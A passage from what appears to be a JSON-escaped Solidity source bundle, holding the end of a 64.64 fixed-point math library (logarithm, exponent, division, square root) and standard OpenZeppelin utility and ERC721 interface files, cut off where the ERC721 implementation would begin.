result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
